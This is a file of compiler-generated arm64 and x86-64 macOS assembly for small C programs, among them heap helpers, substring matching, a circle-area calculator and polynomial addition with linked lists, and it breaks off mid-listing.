.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _swap ## -- Begin function swap .p2align 4, 0x90 _swap: ## @swap .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -8(%rbp), %rax movl (%rax), %eax movl %eax, -20(%rbp) movq -16(%rbp), %rax movl (%rax), %ecx movq -8(%rbp), %rax movl %ecx, (%rax) movl -20(%rbp), %ecx movq -16(%rbp), %rax movl %ecx, (%rax) popq %rbp retq .cfi_endproc ## -- End function .globl _printArray ## -- Begin function printArray .p2align 4, 0x90 _printArray: ## @printArray .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) movl $0, -16(%rbp) LBB1_1: ## =>This Inner Loop Header: Depth=1 movl -16(%rbp), %eax cmpl -12(%rbp), %eax jge LBB1_4 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 movq -8(%rbp), %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %esi leaq L_.str(%rip), %rdi movb $0, %al callq _printf ## %bb.3: ## in Loop: Header=BB1_1 Depth=1 movl -16(%rbp), %eax addl $1, %eax movl %eax, -16(%rbp) jmp LBB1_1 LBB1_4: leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _heapify ## -- Begin function heapify .p2align 4, 0x90 _heapify: ## @heapify .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) movl %edx, -16(%rbp) movl -16(%rbp), %eax movl %eax, -20(%rbp) movl -16(%rbp), %eax shll $1, %eax addl $1, %eax movl %eax, -24(%rbp) movl -16(%rbp), %eax shll $1, %eax addl $2, %eax movl %eax, -28(%rbp) movl -24(%rbp), %eax cmpl -12(%rbp), %eax jge LBB2_3 ## %bb.1: movq -8(%rbp), %rax movslq -24(%rbp), %rcx movl (%rax,%rcx,4), %eax movq -8(%rbp), %rcx movslq -20(%rbp), %rdx cmpl (%rcx,%rdx,4), %eax jle LBB2_3 ## %bb.2: movl -24(%rbp), %eax movl %eax, -20(%rbp) LBB2_3: movl -28(%rbp), %eax cmpl -12(%rbp), %eax jge LBB2_6 ## %bb.4: movq -8(%rbp), %rax movslq -28(%rbp), %rcx movl (%rax,%rcx,4), %eax movq -8(%rbp), %rcx movslq -20(%rbp), %rdx cmpl (%rcx,%rdx,4), %eax jle LBB2_6 ## %bb.5: movl -28(%rbp), %eax movl %eax, -20(%rbp) LBB2_6: movl -20(%rbp), %eax cmpl -16(%rbp), %eax je LBB2_8 ## %bb.7: movq -8(%rbp), %rdi movslq -16(%rbp), %rax shlq $2, %rax addq %rax, %rdi movq -8(%rbp), %rsi movslq -20(%rbp), %rax shlq $2, %rax addq %rax, %rsi callq _swap movq -8(%rbp), %rdi movl -12(%rbp), %esi movl -20(%rbp), %edx callq _heapify LBB2_8: addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d " L_.str.1: ## @.str.1 .asciz "\n" .subsections_via_symbols
the_stack_data/795222.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _value ; -- Begin function value .p2align 2 _value: ; @value .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] str w1, [sp, #8] ldr w8, [sp, #12] ldr w9, [sp, #8] add w8, w8, w9 str w8, [sp, #4] adrp x9, _m@PAGE mov w8, #10 str w8, [x9, _m@PAGEOFF] ldr w0, [sp, #4] add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _add ; -- Begin function add .p2align 2 _add: ; @add .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #1 stur w8, [x29, #-4] str w8, [sp, #8] ldur w0, [x29, #-4] ldr w1, [sp, #8] bl _value str w0, [sp, #4] adrp x8, _m@PAGE ldr w8, [x8, _m@PAGEOFF] ldr w9, [sp, #4] add w0, w8, w9 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _m ; @m .zerofill __DATA,__common,_m,4,2 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _value ## -- Begin function value .p2align 4, 0x90 _value: ## @value .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) movl %esi, -8(%rbp) movl -4(%rbp), %eax addl -8(%rbp), %eax movl %eax, -12(%rbp) movl $10, _m(%rip) movl -12(%rbp), %eax popq %rbp retq .cfi_endproc ## -- End function .globl _add ## -- Begin function add .p2align 4, 0x90 _add: ## @add .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $1, -4(%rbp) movl $1, -8(%rbp) movl -4(%rbp), %edi movl -8(%rbp), %esi callq _value movl %eax, -12(%rbp) movl _m(%rip), %eax addl -12(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _m ## @m .zerofill __DATA,__common,_m,4,2 .subsections_via_symbols
the_stack_data/172392.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 mov x8, x0 mov w0, #0 str wzr, [sp, #12] str w8, [sp, #8] str x1, [sp] add sp, sp, #16 ret .cfi_endproc ; -- End function .comm _c9,360,2 ; @c9 .comm _c8,320,2 ; @c8 .comm _c7,280,2 ; @c7 .comm _c6,240,2 ; @c6 .comm _c5,40,2 ; @c5 .comm _c4,80,2 ; @c4 .comm _c3,120,2 ; @c3 .comm _c2,160,2 ; @c2 .comm _c1,200,2 ; @c1 .comm _a1,4,9 ; @a1 .comm _a2,4,8 ; @a2 .comm _a3,4,7 ; @a3 .comm _a4,4,6 ; @a4 .comm _a5,4,2 ; @a5 .comm _a6,4,2 ; @a6 .comm _a7,4,3 ; @a7 .comm _a8,4,4 ; @a8 .comm _a9,4,5 ; @a9 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .comm _c9,360,4 ## @c9 .comm _c8,320,4 ## @c8 .comm _c7,280,4 ## @c7 .comm _c6,240,4 ## @c6 .comm _c5,40,4 ## @c5 .comm _c4,80,4 ## @c4 .comm _c3,120,4 ## @c3 .comm _c2,160,4 ## @c2 .comm _c1,200,4 ## @c1 .comm _a1,4,9 ## @a1 .comm _a2,4,8 ## @a2 .comm _a3,4,7 ## @a3 .comm _a4,4,6 ## @a4 .comm _a5,4,2 ## @a5 .comm _a6,4,2 ## @a6 .comm _a7,4,3 ## @a7 .comm _a8,4,4 ## @a8 .comm _a9,4,5 ## @a9 .subsections_via_symbols
the_stack_data/140766925.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 mov w9, #37920 movk w9, #4, lsl #16 adrp x16, ___chkstk_darwin@GOTPAGE ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 sub sp, sp, #73, lsl #12 ; =299008 sub sp, sp, #1056 sub x8, x29, #34 str x8, [sp, #16] ; 8-byte Folded Spill adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] str wzr, [sp, #40] mov w8, #1 str w8, [sp, #36] str w8, [sp, #32] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #32] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 mov x9, sp sub x8, x29, #34 str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _scanf ldr x8, [sp, #16] ; 8-byte Folded Reload ldrsb w8, [x8] subs w8, w8, #48 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: str wzr, [sp, #32] b LBB0_10 LBB0_4: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #36] subs w8, w8, #1 cset w8, le tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: ; in Loop: Header=BB0_1 Depth=1 adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf b LBB0_6 LBB0_6: ; in Loop: Header=BB0_1 Depth=1 mov x9, sp add x8, sp, #45 str x8, [sp, #8] ; 8-byte Folded Spill str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _scanf ldr x0, [sp, #8] ; 8-byte Folded Reload sub x1, x29, #34 bl _strstr subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: ; in Loop: Header=BB0_1 Depth=1 ldr w9, [sp, #36] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB0_9 LBB0_8: ; in Loop: Header=BB0_1 Depth=1 ldr w9, [sp, #36] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf b LBB0_9 LBB0_9: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #36] add w8, w8, #1 str w8, [sp, #36] b LBB0_1 LBB0_10: ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_12 b LBB0_11 LBB0_11: bl ___stack_chk_fail LBB0_12: mov w0, #0 add sp, sp, #73, lsl #12 ; =299008 add sp, sp, #1056 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%s" l_.str.1: ; @.str.1 .asciz "\n" l_.str.2: ; @.str.2 .asciz "Instancia %d\n" l_.str.3: ; @.str.3 .asciz "verdadeira\n" l_.str.4: ; @.str.4 .asciz "falsa\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $300048, %eax ## imm = 0x49410 callq ____chkstk_darwin subq %rax, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -300036(%rbp) movl $1, -300040(%rbp) movl $1, -300044(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 cmpl $0, -300044(%rbp) je LBB0_10 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 leaq L_.str(%rip), %rdi leaq -18(%rbp), %rsi movb $0, %al callq _scanf movsbl -18(%rbp), %eax cmpl $48, %eax jne LBB0_4 ## %bb.3: movl $0, -300044(%rbp) jmp LBB0_10 LBB0_4: ## in Loop: Header=BB0_1 Depth=1 cmpl $1, -300040(%rbp) jle LBB0_6 ## %bb.5: ## in Loop: Header=BB0_1 Depth=1 leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf LBB0_6: ## in Loop: Header=BB0_1 Depth=1 leaq L_.str(%rip), %rdi leaq -300032(%rbp), %rsi movb $0, %al callq _scanf leaq -300032(%rbp), %rdi leaq -18(%rbp), %rsi callq _strstr cmpq $0, %rax je LBB0_8 ## %bb.7: ## in Loop: Header=BB0_1 Depth=1 movl -300040(%rbp), %esi leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf jmp LBB0_9 LBB0_8: ## in Loop: Header=BB0_1 Depth=1 movl -300040(%rbp), %esi leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf LBB0_9: ## in Loop: Header=BB0_1 Depth=1 movl -300040(%rbp), %eax addl $1, %eax movl %eax, -300040(%rbp) jmp LBB0_1 LBB0_10: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_12 ## %bb.11: xorl %eax, %eax addq $300048, %rsp ## imm = 0x49410 popq %rbp retq LBB0_12: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%s" L_.str.1: ## @.str.1 .asciz "\n" L_.str.2: ## @.str.2 .asciz "Instancia %d\n" L_.str.3: ## @.str.3 .asciz "verdadeira\n" L_.str.4: ## @.str.4 .asciz "falsa\n" .subsections_via_symbols
the_stack_data/51699553.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _visitado ; -- Begin function visitado .p2align 2 _visitado: ; @visitado .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] ldur x8, [x29, #-8] str x8, [sp, #8] ; 8-byte Folded Spill ldr x0, [sp, #16] bl _atoi ldr x8, [sp, #8] ; 8-byte Folded Reload add x8, x8, w0, sxtw ldrb w8, [x8] and w0, w8, #0x1 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _todos_visitados ; -- Begin function todos_visitados .p2align 2 _todos_visitados: ; @todos_visitados .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 str x0, [sp, #16] str x1, [sp, #8] str xzr, [sp] b LBB1_1 LBB1_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp] ldr x9, [sp, #8] subs x8, x8, x9 cset w8, hs tbnz w8, #0, LBB1_5 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 ldr x8, [sp, #16] ldr x9, [sp] add x8, x8, x9 ldrb w8, [x8] tbnz w8, #0, LBB1_4 b LBB1_3 LBB1_3: mov w8, #0 and w8, w8, #0x1 and w8, w8, #0x1 strb w8, [sp, #31] b LBB1_6 LBB1_4: ; in Loop: Header=BB1_1 Depth=1 ldr x8, [sp] add x8, x8, #1 str x8, [sp] b LBB1_1 LBB1_5: mov w8, #1 and w8, w8, #0x1 and w8, w8, #0x1 strb w8, [sp, #31] b LBB1_6 LBB1_6: ldrb w8, [sp, #31] and w0, w8, #0x1 add sp, sp, #32 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _visitado ## -- Begin function visitado .p2align 4, 0x90 _visitado: ## @visitado .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -8(%rbp), %rax movq %rax, -24(%rbp) ## 8-byte Spill movq -16(%rbp), %rdi callq _atoi movl %eax, %ecx movq -24(%rbp), %rax ## 8-byte Reload movslq %ecx, %rcx movb (%rax,%rcx), %al andb $1, %al movzbl %al, %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _todos_visitados ## -- Begin function todos_visitados .p2align 4, 0x90 _todos_visitados: ## @todos_visitados .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -16(%rbp) movq %rsi, -24(%rbp) movq $0, -32(%rbp) LBB1_1: ## =>This Inner Loop Header: Depth=1 movq -32(%rbp), %rax cmpq -24(%rbp), %rax jae LBB1_5 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 movq -16(%rbp), %rax movq -32(%rbp), %rcx testb $1, (%rax,%rcx) jne LBB1_4 ## %bb.3: movb $0, -1(%rbp) jmp LBB1_6 LBB1_4: ## in Loop: Header=BB1_1 Depth=1 movq -32(%rbp), %rax addq $1, %rax movq %rax, -32(%rbp) jmp LBB1_1 LBB1_5: movb $1, -1(%rbp) LBB1_6: movb -1(%rbp), %al andb $1, %al movzbl %al, %eax popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/1005036.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #0 str w8, [sp, #12] ; 4-byte Folded Spill stur wzr, [x29, #-4] mov w8, #62915 movk w8, #16456, lsl #16 fmov s0, w8 str s0, [sp, #8] ; 4-byte Folded Spill stur s0, [x29, #-8] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf mov x9, sp sub x8, x29, #12 str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _scanf ldr s0, [sp, #8] ; 4-byte Folded Reload ldur s1, [x29, #-12] fmul s0, s0, s1 ldur s1, [x29, #-12] fmul s0, s0, s1 str s0, [sp, #16] ldr s0, [sp, #16] fcvt d0, s0 mov x8, sp str d0, [x8] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf ldr w0, [sp, #12] ; 4-byte Folded Reload ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Radio: " l_.str.1: ; @.str.1 .asciz "%f" l_.str.2: ; @.str.2 .asciz "Area: %f\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal4,4byte_literals .p2align 2 ## -- Begin function main LCPI0_0: .long 0x4048f5c3 ## float 3.1400001 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movss LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -8(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _printf leaq L_.str.1(%rip), %rdi leaq -12(%rbp), %rsi movb $0, %al callq _scanf movss LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero mulss -12(%rbp), %xmm0 mulss -12(%rbp), %xmm0 movss %xmm0, -16(%rbp) movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.2(%rip), %rdi movb $1, %al callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Radio: " L_.str.1: ## @.str.1 .asciz "%f" L_.str.2: ## @.str.2 .asciz "Area: %f\n" .subsections_via_symbols
the_stack_data/72012136.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _create_singly_linked_list ; -- Begin function create_singly_linked_list .p2align 2 _create_singly_linked_list: ; @create_singly_linked_list .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] str w1, [sp, #8] mov x0, #16 bl _malloc str x0, [sp] ldur w8, [x29, #-4] ldr x9, [sp] str w8, [x9] ldr w8, [sp, #8] ldr x9, [sp] str w8, [x9, #4] ldr x8, [sp] ; kill: def $x9 killed $xzr str xzr, [x8, #8] ldr x0, [sp] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _insert_inorder ; -- Begin function insert_inorder .p2align 2 _insert_inorder: ; @insert_inorder .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-12] stur w1, [x29, #-16] stur x2, [x29, #-24] ldur x8, [x29, #-24] str x8, [sp, #32] ; kill: def $x8 killed $xzr str xzr, [sp, #24] ldur x8, [x29, #-24] ldr w8, [x8, #4] ldur w9, [x29, #-16] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: mov x0, #16 bl _malloc str x0, [sp, #16] ldur w8, [x29, #-12] ldr x9, [sp, #16] str w8, [x9] ldur w8, [x29, #-16] ldr x9, [sp, #16] str w8, [x9, #4] ldur x8, [x29, #-24] ldr x9, [sp, #16] str x8, [x9, #8] ldr x8, [sp, #16] stur x8, [x29, #-24] ldur x8, [x29, #-24] stur x8, [x29, #-8] b LBB1_12 LBB1_2: b LBB1_3 LBB1_3: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #32] ldr w8, [x8, #4] ldur w9, [x29, #-16] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB1_9 b LBB1_4 LBB1_4: ; in Loop: Header=BB1_3 Depth=1 ldr x8, [sp, #32] ldr x8, [x8, #8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_8 b LBB1_5 LBB1_5: ldr x8, [sp, #32] ldr w8, [x8] ldur w9, [x29, #-12] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB1_7 b LBB1_6 LBB1_6: ldur w10, [x29, #-12] ldr x9, [sp, #32] ldr w8, [x9] add w8, w8, w10 str w8, [x9] ldur x8, [x29, #-24] stur x8, [x29, #-8] b LBB1_12 LBB1_7: mov x0, #16 bl _malloc str x0, [sp, #8] ldur w8, [x29, #-12] ldr x9, [sp, #8] str w8, [x9] ldur w8, [x29, #-16] ldr x9, [sp, #8] str w8, [x9, #4] ldr x8, [sp, #8] ; kill: def $x9 killed $xzr str xzr, [x8, #8] ldr x8, [sp, #8] ldr x9, [sp, #32] str x8, [x9, #8] ldur x8, [x29, #-24] stur x8, [x29, #-8] b LBB1_12 LBB1_8: ; in Loop: Header=BB1_3 Depth=1 ldr x8, [sp, #32] str x8, [sp, #24] ldr x8, [sp, #32] ldr x8, [x8, #8] str x8, [sp, #32] b LBB1_3 LBB1_9: ldr x8, [sp, #32] ldr w8, [x8, #4] ldur w9, [x29, #-16] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB1_11 b LBB1_10 LBB1_10: ldur w10, [x29, #-12] ldr x9, [sp, #32] ldr w8, [x9] add w8, w8, w10 str w8, [x9] ldur x8, [x29, #-24] stur x8, [x29, #-8] b LBB1_12 LBB1_11: mov x0, #16 bl _malloc str x0, [sp] ldur w8, [x29, #-12] ldr x9, [sp] str w8, [x9] ldur w8, [x29, #-16] ldr x9, [sp] str w8, [x9, #4] ldr x8, [sp, #32] ldr x9, [sp] str x8, [x9, #8] ldr x8, [sp] ldr x9, [sp, #24] str x8, [x9, #8] ldur x8, [x29, #-24] stur x8, [x29, #-8] b LBB1_12 LBB1_12: ldur x0, [x29, #-8] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .globl _insert_at_end ; -- Begin function insert_at_end .p2align 2 _insert_at_end: ; @insert_at_end .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] stur w1, [x29, #-8] str x2, [sp, #16] ldr x8, [sp, #16] str x8, [sp, #8] b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #8] ldr x8, [x8, #8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB2_3 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 ldr x8, [sp, #8] ldr x8, [x8, #8] str x8, [sp, #8] b LBB2_1 LBB2_3: mov x0, #16 bl _malloc str x0, [sp] ldur w8, [x29, #-4] ldr x9, [sp] str w8, [x9] ldur w8, [x29, #-8] ldr x9, [sp] str w8, [x9, #4] ldr x8, [sp] ; kill: def $x9 killed $xzr str xzr, [x8, #8] ldr x8, [sp] ldr x9, [sp, #8] str x8, [x9, #8] ldr x0, [sp, #16] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _add_polynomials ; -- Begin function add_polynomials .p2align 2 _add_polynomials: ; @add_polynomials .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] ldur x8, [x29, #-8] stur x8, [x29, #-24] ldur x8, [x29, #-16] str x8, [sp, #32] ; kill: def $x8 killed $xzr str xzr, [sp, #24] b LBB3_1 LBB3_1: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-24] subs x8, x8, #0 cset w8, eq mov w9, #0 str w9, [sp, #12] ; 4-byte Folded Spill tbnz w8, #0, LBB3_3 b LBB3_2 LBB3_2: ; in Loop: Header=BB3_1 Depth=1 ldr x8, [sp, #32] subs x8, x8, #0 cset w8, ne str w8, [sp, #12] ; 4-byte Folded Spill b LBB3_3 LBB3_3: ; in Loop: Header=BB3_1 Depth=1 ldr w8, [sp, #12] ; 4-byte Folded Reload tbz w8, #0, LBB3_20 b LBB3_4 LBB3_4: ; in Loop: Header=BB3_1 Depth=1 ldur x8, [x29, #-24] ldr w8, [x8, #4] ldr x9, [sp, #32] ldr w9, [x9, #4] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB3_9 b LBB3_5 LBB3_5: ; in Loop: Header=BB3_1 Depth=1 ldr x8, [sp, #24] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_7 b LBB3_6 LBB3_6: ; in Loop: Header=BB3_1 Depth=1 ldr x8, [sp, #32] ldr w0, [x8] ldr x8, [sp, #32] ldr w1, [x8, #4] bl _create_singly_linked_list str x0, [sp, #24] b LBB3_8 LBB3_7: ; in Loop: Header=BB3_1 Depth=1 ldr x8, [sp, #32] ldr w0, [x8] ldr x8, [sp, #32] ldr w1, [x8, #4] ldr x2, [sp, #24] bl _insert_at_end str x0, [sp, #24] b LBB3_8 LBB3_8: ; in Loop: Header=BB3_1 Depth=1 ldr x8, [sp, #32] ldr x8, [x8, #8] str x8, [sp, #32] b LBB3_19 LBB3_9: ; in Loop: Header=BB3_1 Depth=1 ldur x8, [x29, #-24] ldr w8, [x8, #4] ldr x9, [sp, #32] ldr w9, [x9, #4] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB3_14 b LBB3_10 LBB3_10: ; in Loop: Header=BB3_1 Depth=1 ldr x8, [sp, #24] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_12 b LBB3_11 LBB3_11: ; in Loop: Header=BB3_1 Depth=1 ldur x8, [x29, #-24] ldr w0, [x8] ldur x8, [x29, #-24] ldr 